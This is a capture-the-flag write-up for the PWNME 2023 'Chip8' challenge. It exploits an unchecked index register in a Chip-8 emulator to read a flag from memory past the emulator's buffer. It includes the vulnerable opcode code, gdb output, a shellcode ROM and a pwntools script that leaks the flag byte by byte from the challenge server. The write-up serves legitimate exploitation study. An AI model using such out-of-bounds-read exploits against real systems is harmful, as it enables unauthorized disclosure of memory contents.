[PWNME2023] Pwn - Chip8

15 minute read

Introduction

In this challenge from Express (Express#8049 on discord) we had to exploit a “zero day” in a Chip8 Emulator (https://github.com/LakshyAAAgrawal/chip8emu) to retrieve the flag that is in the memory of the emulator.

We are given a gzip archive with the following files:

The chall.patch file simply add the flag in the emulator. The README shows us how to install the emulator and how to use it:

1# Installation
2
3## Steps
4- `git clone https://github.com/LakshyAAAgrawal/chip8emu`
5- `cd chip8emu`
6- `git apply ../chall.patch`
7- `make`
8- `./bin/c8emu <rom>`

Except those two files we don’t really care about the rest.

So we first download the git archive with the emulator, we apply the patch and the we compile the emulator.

 1$ git clone https://github.com/LakshyAAAgrawal/chip8emu
 2Cloning into 'chip8emu'...
 3remote: Enumerating objects: 491, done.
 4remote: Counting objects: 100% (59/59), done.
 5remote: Compressing objects: 100% (8/8), done.
 6remote: Total 491 (delta 54), reused 51 (delta 51), pack-reused 432
 7Receiving objects: 100% (491/491), 402.65 KiB | 2.26 MiB/s, done.
 8Resolving deltas: 100% (194/194), done.
 9
10$ cd chip8emu
11
12$ git apply ../chall.patch
13
14$ make
15g++  -g -Wall -Werror -std=c++11 -I include -c -o build/Machine.o src/Machine.cpp
16g++  -g -Wall -Werror -std=c++11 -I include -c -o build/c8emu.o src/c8emu.cpp
17g++  -g -Wall -Werror -std=c++11 -I include -c -o build/GraphicEngine.o src/GraphicEngine.cpp
18g++  -g -Wall -Werror -std=c++11 -I include -c -o build/kbhit.o src/kbhit.cpp
19g++  -g -Wall -Werror -std=c++11 -I include -c -o build/Keyboard.o src/Keyboard.cpp
20Linking...
21g++  build/Machine.o build/c8emu.o build/GraphicEngine.o build/kbhit.o build/Keyboard.o -o bin/c8emu

We are now ready to go :) .

Chip8 Architecture

The Chip8 architecture does not have that much instructions and is not that complicated. There are 16 register of 8 bits: V0, V1, V2 … A 16 bits register named I that is (usually )used to store memory address, pseudo-registers like the PC of the Stack pointer but we can’t manipulate them. There is also a stack which is an array of 16 16bits. If you want to take a better look at the architecture you can check this post which is really good: http://devernay.free.fr/hacks/chip8/C8TECH10.HTM.

The memory is mapped as follows:

+---------------+= 0xFFF (4095) End of Chip-8 RAM
|               |
|               |
|               |
|               |
|               |
| 0x200 to 0xFFF|
|     Chip-8    |
| Program / Data|
|     Space     |
|               |
|               |
|               |
+- - - - - - - -+= 0x600 (1536) Start of ETI 660 Chip-8 programs
|               |
|               |
|               |
+---------------+= 0x200 (512) Start of most Chip-8 programs
| 0x000 to 0x1FF|
| Reserved for  |
|  interpreter  |
+---------------+= 0x000 (0) Start of Chip-8 RAM

And it has not that much function:

 1
 2x corresponds to a Vx register, n corresponds to a 8 bits value, k to a byte 
 3(not sure about this one)
 4
 500E0 - CLS
 600EE - RET
 70nnn - SYS addr
 81nnn - JP addr
 92nnn - CALL addr
103xkk - SE Vx, byte
114xkk - SNE Vx, byte
125xy0 - SE Vx, Vy
136xkk - LD Vx, byte
147xkk - ADD Vx, byte
158xy0 - LD Vx, Vy
168xy1 - OR Vx, Vy
178xy2 - AND Vx, Vy
188xy3 - XOR Vx, Vy
198xy4 - ADD Vx, Vy
208xy5 - SUB Vx, Vy
218xy6 - SHR Vx {, Vy}
228xy7 - SUBN Vx, Vy
238xyE - SHL Vx {, Vy}
249xy0 - SNE Vx, Vy
25Annn - LD I, addr
26Bnnn - JP V0, addr
27Cxkk - RND Vx, byte
28Dxyn - DRW Vx, Vy, nibble
29Ex9E - SKP Vx
30ExA1 - SKNP Vx
31Fx07 - LD Vx, DT
32Fx0A - LD Vx, K
33Fx15 - LD DT, Vx
34Fx18 - LD ST, Vx
35Fx1E - ADD I, Vx
36Fx29 - LD F, Vx
37Fx33 - LD B, Vx
38Fx55 - LD [I], Vx
39Fx65 - LD Vx, [I]

I didn’t find any assembler that fullfilled my hopes and dreams so I decided to make one myself which was not my greatest idea taking a look back at it :upside_down_face:

 1from binascii import unhexlify
 2import sys
 3import re
 4from pwn import *
 5
 6
 7file = open(sys.argv[1], 'r').readlines()
 8todd_packer=make_packer('all')
 9
10rom_code = b""
11
12"""
13
141. Instruction
15
162. Operand 1
17
183. Operand 2
19
20"""
21
22
23for line in file:
24    operand1 = ""
25    operand2 = ""
26    operand3 = ""
27    if line[0] == ";":
28        continue
29    if line.count(",") == 1 and line.count(" ") != 0:
30        instruction, operand1, operand2 = re.split(' |,',line.strip())
31        instruction = instruction.replace(" ", "")
32        operand1 = operand1.replace(" ", "")
33        operand2 = operand2.replace(" ", "")
34    elif line.count(",") == 2 and line.count(" ") != 0:
35        instruction, operand1, operand2, operand3 = re.split(' |,',line.strip())
36        instruction = instruction.replace(" ", "")
37        operand1 = operand1.replace(" ", "")
38        operand2 = operand2.replace(" ", "")
39        operand3 = operand3.replace(" ", "")
40    elif line.count(" ") != 0:
41        instruction, operand1 = re.split(' |,',line.strip())
42        instruction = instruction.replace(" ", "")
43        operand1 = operand1.replace(" ", "")
44    elif line.count(" ")  == 0:
45        instruction = line.strip().replace(" ", "")
46
47
48    if instruction == "CLS":
49        rom_code += b"\x00\xE0"
50    elif instruction == "RET":
51        rom_code += b"\x00\xEE"
52    elif instruction == "LD" and "V" in operand1 :
53        op1 = operand1.split("V")[1]
54        temp_code = f"F{op1}65"
55        rom_code += binascii.unhexlify(temp_code)
56    elif instruction == "ADD" and operand1 == "I":
57        op2 = operand2.split("V")[1]
58        temp_code = f"F{op2}1E"
59        rom_code += binascii.unhexlify(temp_code)
60    elif instruction == "ADD" and "V" in operand1:
61        op1 = operand1.split("V")[1]
62        op2 = hex(int(operand2,0)).replace("0x","").rjust(2,"0")
63        temp_code = f"7{op1}{op2}"
64        rom_code += binascii.unhexlify(temp_code)
65    elif instruction == "LD" and "V" not in operand2 and "I" == operand1:
66        #Annn - LD I, addr
67        op2 = hex(int(operand2, 0)).replace("0x", "")
68        if len(op2) > 3:
69            print("len too long for LD I, 0xyyy") 
70        temp_code = f"A{op2}"
71        rom_code += binascii.unhexlify(temp_code)
72    elif instruction == "EXIT":
73        rom_code += b"\x00\xFD"
74    elif instruction == "DRW":
75        op1 = operand1.split("V")[1]
76        op2 = operand2.split("V")[1]
77        op3 = operand3
78        temp_code = f"D{op1}{op2}1"
79        rom_code += binascii.unhexlify(temp_code)
80    elif instruction == "XOR" and "V" in operand1 :
81        op1 = operand1.split("V")[1]
82        op2 = operand2.split("V")[1]
83        temp_code = f"8{op1}{op2}3"
84        rom_code += binascii.unhexlify(temp_code)
85        
86
87    print("[+] Instruction: %s" % instruction)
88
89    if operand1 != "":
90        print("[+] Operand 1: %s" % operand1)
91    if operand2 != "":
92        print("[+] Operand 2: %s" % operand2)   
93    if operand3 != "":
94        print("[+] Operand 3: %s" % operand3)    
95
96with open("shellcode.rom", "wb") as code:
97    code.write(rom_code)

I didn’t implement a lot of instruction because I decided that it was enough for my usage.

Finding the bug

We now need to find the bug in the source code of the file. We know that we don’t need to spawn a shell because the flag is in the memory so it must be an out of bound or an arbitrary read.

This is where the opcodes are handled:

  1void Machine::execute(uint16_t& opcode){
  2	std::map<uint16_t, std::function<void(uint16_t&)>> direct_match{
  3		{0x00e0, [this](uint16_t& op){ ge.cls(); }}, // 00e0 - CLS
  4		{0x00ee, [this](uint16_t& op){ PC = stack[--SP]; }}, // 00ee - Return
  5	};
  6	std::map<uint16_t, std::function<void(uint16_t&)>> first_third_fourth_match{
  7		{0xe09e, [this](uint16_t& op){ if(kb.isKeyDown(registers[(op & 0x0f00)>>8])) PC += 2; }}, // Ex9E - SKP Vx
  8		{0xe0a1, [this](uint16_t& op){ if(!kb.isKeyDown(registers[(op & 0x0f00)>>8])) PC += 2; }}, // ExA1 - SKNP Vx
  9		{0xf007, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = DT; }}, // Fx07 - LD Vx, DT
 10		{0xf00a, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = kb.waitAndGetKeypress(); }}, // Fx0A - LD Vx, K
 11		{0xf015, [this](uint16_t& op){ DT = registers[(op & 0x0f00)>>8]; }}, // Fx15 - LD DT, Vx
 12		{0xf018, [this](uint16_t& op){ ST = registers[(op & 0x0f00)>>8]; }}, // Fx18 - LD ST, Vx
 13		{0xf01e, [this](uint16_t& op){ I += (uint16_t)registers[(op & 0x0f00)>>8]; }}, // Fx1E - ADD I, Vx
 14		{0xf029, [this](uint16_t& op){ I = ((uint16_t)registers[(op & 0x0f00)>>8])*5; }}, // Fx29 - LD F, Vx
 15		{0xf033, [this](uint16_t& op){ // Fx33 - LD B, Vx
 16			memory[I] = (registers[(op & 0x0f00)>>8] / 100);
 17			memory[I+1] = ((registers[(op & 0x0f00)>>8]%100) / 10);
 18			memory[I+2] = ((registers[(op & 0x0f00)>>8]%10) / 1);
 19		}},
 20
 21		// TODO - Check both the following instructions whether I = I+X+1 http://mattmik.com/files/chip8/mastering/chip8.html
 22		// Change the value of I, as per mattmik
 23		{0xf055, [this](uint16_t& op){ // Fx55 - LD [I], Vx
 24			std::copy(registers.begin(), registers.begin() + ((op & 0x0f00)>>8) + 1, memory.begin() + I);
 25			I += ((uint16_t)((op & 0x0f00)>>8)) + 1;
 26		}},
 27		{0xf065, [this](uint16_t& op){ // Fx65 - LD Vx, [I]
 28		    std::cout << "Address of begin: \n" << memory.begin() << std::endl;
 29			std::copy(memory.begin() + I, memory.begin() + I + ((op & 0x0f00)>>8) + 1, registers.begin());
 30			I += ((uint16_t)((op & 0x0f00)>>8)) + 1;
 31		}}
 32	};
 33	std::map<uint16_t, std::function<void(uint16_t&)>> first_fourth_match{
 34		{0x5000, [this](uint16_t& op){ PC += ((registers[(op & 0x0f00)>>8] == registers[(op & 0x00f0)>>4])? 2: 0); }}, // 5xy0 - SE Vx, Vy
 35		{0x8000, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4]; }}, // 8xy0 - LD Vx, Vy Verified
 36		{0x8001, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] | registers[(op & 0x0f00)>>8]; }}, // 8xy1 - OR Vx, Vy
 37		{0x8002, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] & registers[(op & 0x0f00)>>8]; }}, // 8xy2 - AND Vx, Vy
 38		{0x8003, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] ^ registers[(op & 0x0f00)>>8]; }}, // 8xy3 - XOR Vx, Vy
 39		{0x8004, [this](uint16_t& op){ // 8xy4 - ADD Vx, Vy
 40			// Update Vf after performing the operation
 41			// As verified from Octo (http://johnearnest.github.io/Octo/index.html)
 42			uint8_t orig_val = registers[(op & 0x0f00)>>8];
 43			registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] + registers[(op & 0x0f00)>>8]; // TEST
 44			registers[0xf] = (registers[(op & 0x0f00)>>8] < orig_val)? 1 : 0;
 45		}},
 46		{0x8005, [this](uint16_t& op){ // 8xy5 - SUB Vx, Vy
 47			// Vf to be set after calculation
 48			// As verified from Octo (http://johnearnest.github.io/Octo/index.html)
 49			uint8_t orig_val = registers[(op & 0x0f00)>>8];
 50			registers[(op & 0x0f00)>>8] = registers[(op & 0x0f00)>>8] - registers[(op & 0x00f0)>>4];
 51			registers[0xf] = (registers[(op & 0x0f00)>>8] > orig_val) ? 0 : 1;
 52		}},
 53		{0x8006, [this](uint16_t& op){ // 8xy6 - SHR Vx Vy (From mattmik)
 54			// Set Vf after performing the operation
 55			// As verified from Octo (http://johnearnest.github.io/Octo/index.html)
 56			uint8_t new_vf = registers[(op & 0x0f0)>>4] & 0x1;
 57			registers[(op & 0x0f00)>>8] = registers[(op & 0x0f0)>>4] >> 1;
 58			registers[0xf] = new_vf;
 59		}},
 60		{0x8007, [this](uint16_t& op){ // 8xy7 - SUBN Vx, Vy
 61			// The register Vf must be set AFTER performing the operation(per Octo http://johnearnest.github.io/Octo/index.html)
 62			// Ensure that values wrap around the minimum and max to other side
 63			uint8_t orig_val = registers[(op & 0x00f0)>>4];
 64			registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] - registers[(op & 0x0f00)>>8];
 65			registers[0xf] = ((registers[(op & 0x0f00)>>8] > orig_val)? 0 : 1);
 66		}},
 67		{0x800e, [this](uint16_t& op){ // 8xyE - SHL Vx Vy (From mattmik)
 68			// Set Vf after performing the operation
 69			// As verified from Octo (http://johnearnest.github.io/Octo/index.html)
 70			uint8_t new_vf = (registers[(op & 0x0f0)>>4] >> 7) & 0x01;
 71			registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4] << 1;
 72			registers[0xf] = new_vf;
 73		}},
 74		{0x9000, [this](uint16_t& op){ PC += ((registers[(op & 0x0f00)>>8] != registers[(op & 0x00f0)>>4])? 2: 0); }}, // 9xy0 - SNE Vx, Vy
 75		{0x8000, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = registers[(op & 0x00f0)>>4]; }}, // 8xy0 - LD Vx, Vy
 76	};
 77	std::map<uint16_t, std::function<void(uint16_t&)>> first_match{
 78		{0x0000, [](uint16_t& op){}}, // To be ignored as per COWGOD
 79		{0x1000, [this](uint16_t& op){ PC = (op & 0x0fff); }}, // JP addr
 80		{0x2000, [this](uint16_t& op){ stack[SP++] = PC; PC = (op & 0x0fff); }}, // CALL addr
 81		{0x3000, [this](uint16_t& op){ PC += ((registers[(op & 0x0f00)>>8] == (op & 0x00ff))? 2: 0); }}, // 3xkk - SE Vx, byte
 82		{0x4000, [this](uint16_t& op){ PC += ((registers[(op & 0x0f00)>>8] != (op & 0x00ff))? 2: 0); }}, // 4xkk - SNE Vx, byte
 83		{0x6000, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = (op & 0x00ff); }}, // 6xkk - LD Vx, byte
 84		{0x7000, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] += (op & 0x00ff); }}, // 7xkk - ADD Vx, byte
 85		{0xa000, [this](uint16_t& op){ I = (op & ((uint16_t)0x0fff)); }}, // Annn - LD I, addr
 86		{0xb000, [this](uint16_t& op){ PC = ((uint16_t)registers[0]) + ((uint16_t)(op & 0x0fff)); }}, // Bnnn - JP V0, addr
 87		{0xc000, [this](uint16_t& op){ registers[(op & 0x0f00)>>8] = (op & 0x00ff) & random_byte(); }}, // Cxkk - RND Vx, byte
 88		{0xd000, [this](uint16_t& op){ // TODO - Dxyn - DRW Vx, Vy, nibble
 89			registers[0xf] = ge.draw_sprite(memory.begin() + I, memory.begin() + I + (op & 0x000f), registers[(op & 0x0f00)>>8] % 0x40, registers[(op & 0x00f0)>>4] % 0x20);
 90		}}
 91	};
 92
 93	// Match the opcode and execute it
 94	auto it = direct_match.find(opcode);
 95	if(it != direct_match.end()){}
 96	else if((it = first_third_fourth_match.find(opcode & 0xf0ff)) != first_third_fourth_match.end()){}
 97	else if((it = first_fourth_match.find(opcode & 0xf00f)) != first_fourth_match.end()){}
 98	else if((it = first_match.find(opcode & 0xf000)) != first_match.end()){}
 99
100	if(it != first_match.end()) (it->second)(opcode);
101	else {
102		//std::cout << "No match found for opcode " << std::hex << (int) opcode << "\n";
103		//std::cout << "This could be because this ROM uses SCHIP or another extension which is not yet supported.\n";
104		std::exit(0);
105	}
106}

But we are mostly interested about the instructions that manipulates the memory. On top of it, if we want to read outside of the memory allocated for the emulator (~4096 bytes) we need to find a register that can contain more than 4096 bytes because we won’t be able to read outside of the allocated area in this case. Here comes in handy the register I because it can contains up to 65535 bytes so there is plenty of space for us.

The only instructions that uses the register I are the following:

1Annn - LD I, addr
2Fx55 - LD [I], Vx
3Fx65 - LD Vx, [I]
4Fx1E - ADD I, Vx
5Dxyn - DRW Vx, Vy, nibble

You must be asking yourself why I put the instruction DRW and it’s because the parameter “nibble” is the number of bits that you want to print out of the register I. So it means that if we can puts more than 4096 bytes in I we get an out of bound. Before going further let’s check the code for the following instruction.

1{0xd000, [this](uint16_t& op){ // TODO - Dxyn - DRW Vx, Vy, nibble
2registers[0xf] = ge.draw_sprite(memory.begin() + I, memory.begin() + I + (op & 0x000f), registers[(op & 0x0f00)>>8] % 0x40, registers[(op & 0x00f0)>>4] % 0x20);
3}}

That’s an interesting usage of the memory xD , it takes for the first argument memory.begin()+I and memory.begin() + I + (op & 0x000f) for the second argument. Let’s see what is memory.begin() in gdb.

 1$ gdb -q c8emu
 2
 3pwndbg: loaded 160 pwndbg commands and 49 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
 4pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
 5Reading symbols from c8emu...
 6------- tip of the day (disable with set show-tips off) -------
 7GDB's set directories <path> parameter can be used to debug e.g. glibc sources like the malloc/free functions!
 8pwndbg> b *0x555555554000+0x0000546d # random breakpoint
 9Breakpoint 1 at 0x55555555946d 
10pwndbg> r shellcode.rom
11pwndbg> p *this
12$1 = {
13  registers = {
14    <std::_Vector_base<unsigned char, std::allocator<unsigned char> >> = {
15      _M_impl = {
16        <std::allocator<unsigned char>> = {
17          <__gnu_cxx::new_allocator<unsigned char>> = {<No data fields>}, <No data fields>},
18        <std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_Vector_impl_data> = {
19          _M_start = 0x555555594240 "",
20          _M_finish = 0x555555594250 "",
21          _M_end_of_storage = 0x555555594250 ""
22        }, <No data fields>}
23    }, <No data fields>},
24  memory = {
25    <std::_Vector_base<unsigned char, std::allocator<unsigned char> >> = {
26      _M_impl = {
27        <std::allocator<unsigned char>> = {
28          <__gnu_cxx::new_allocator<unsigned char>> = {<No data fields>}, <No data fields>},
29        <std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_Vector_impl_data> = {
30          _M_start = 0x5555555942b0 "",
31          _M_finish = 0x5555555952b0 "",
32          _M_end_of_storage = 0x5555555952b0 ""
33        }, <No data fields>}
34    }, <No data fields>},
35  flag = {
36    <std::_Vector_base<unsigned char, std::allocator<unsigned char> >> = {
37      _M_impl = {
38        <std::allocator<unsigned char>> = {
39          <__gnu_cxx::new_allocator<unsigned char>> = {<No data fields>}, <No data fields>},
40        <std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_Vector_impl_data> = {
41          _M_start = 0x5555555952c0 "PWNME{THIS_IS_A_SHAREHOLDER_", 'A' <repeats 18 times>, "}",
42          _M_finish = 0x555555595340 "",
43          _M_end_of_storage = 0x555555595340 ""
44        }, <No data fields>}
45    }, <No data fields>},
46  I = 0,
47  stack = {
48    <std::_Vector_base<unsigned short, std::allocator<unsigned short> >> = {
49      _M_impl = {
50        <std::allocator<unsigned short>> = {
51          <__gnu_cxx::new_allocator<unsigned short>> = {<No data fields>}, <No data fields>},
52        <std::_Vector_base<unsigned short, std::allocator<unsigned short> >::_Vector_impl_data> = {
53          _M_start = 0x555555594260,
54          _M_finish = 0x5555555942a0,
55          _M_end_of_storage = 0x5555555942a0
56        }, <No data fields>}
57    },

Memory starts at 0x5555555942b0 and the flag starts at 0x5555555952c0, by calculating the difference between those two, we find 4112 bytes so the flag is 4112 bytes after the beginning of the memory and 16 bytes after the end of the Chip8 memory.

We now have every elements needed to exploit the program and “read out” the flag:

  1. Put 4112 bytes in the I register to read out of the Chip8 Memory and get to the flag.
  2. Use the DRW instruction to get one character at the time of the flag by telling it to print 8 bits of the register I. (we will be using recursion to do that)

Exploit

(To assemble my shellcode I used my own assembler)

Here is my shellcode to exfiltate the flag char by char

1XOR V0,V0 ; Set V0=0
2XOR V1,V1 ; Set V1=0
3ADD V0,17 ; we add 17 to V0 (we need to manually increment this value each time) 
4LD I,0xfff ; we move 4095 into I 
5ADD I,V0 ; we add V0 to I
6XOR V1,V1 ; Set V1=0
7XOR V0,V0 ; Set V0=0
8DRW V0,V1,1 ; Draw at x: 0 and y: 0 the first 8 bits pointed by I
9RET ; return

I automated this in Python with the library pwntools (I know that my code is disgusting but whatever) :

 1from pwn import *
 2import os
 3
 4ip = "51.254.39.184"
 5port = 1337
 6
 7flag = ""
 8
 9def retrieve_flag_shellcode(index):
10    gened_shellcode = """CLS
11XOR V0,V0
12XOR V1,V1
13ADD V0,%i
14LD I,0xfff
15ADD I,V0
16XOR V1,V1
17XOR V0,V0
18DRW V0,V1,1
19RET
20""" % index
21    return gened_shellcode
22
23
24for i in range(17, 48+16, 1):
25
26
27    with open("solve.asm", "w") as solve:
28        solve.write(retrieve_flag_shellcode(i))
29
30    os.system("python .\compiler.py solve.asm")
31
32    with open("shellcode.rom", "rb") as tg:
33        shellcode = tg.read()
34    p = remote(ip, port)
35    p.recvuntil(b"Enter ROM code: ")
36    p.sendline(shellcode)
37    p.recv()
38    p.sendline(b"A"*0x10)
39    leak = b""
40    while True:
41        leak = p.recv()
42        if b"\xe2\x96\x80" in leak:
43            break
44    
45
46    leak = leak.split(b"\n")
47    leak = leak[2].replace(b"\xe2\x96\x80", b"1").decode()[1:][:8]
48    for x in leak:
49        if x != "1":
50            leak = leak.replace(x, "0")
51    char_leaked = chr(int("0b%s" % leak, 2))
52    print("char_leaked: %s" % char_leaked)
53    flag += char_leaked
54    
55    p.close()
56
57print("[+] Found flag: %s" % flag)
58

I don’t know why but my script doesn’t exfiltrate every char each time so I need to launch it quite a few times (~3) to get the whole flag by filling the holes.

Thanks for reading this writeup and huge thanks to Express for his challenge.

If you have any question feel free to send me a message on Twitter or on Discord: @numb3rss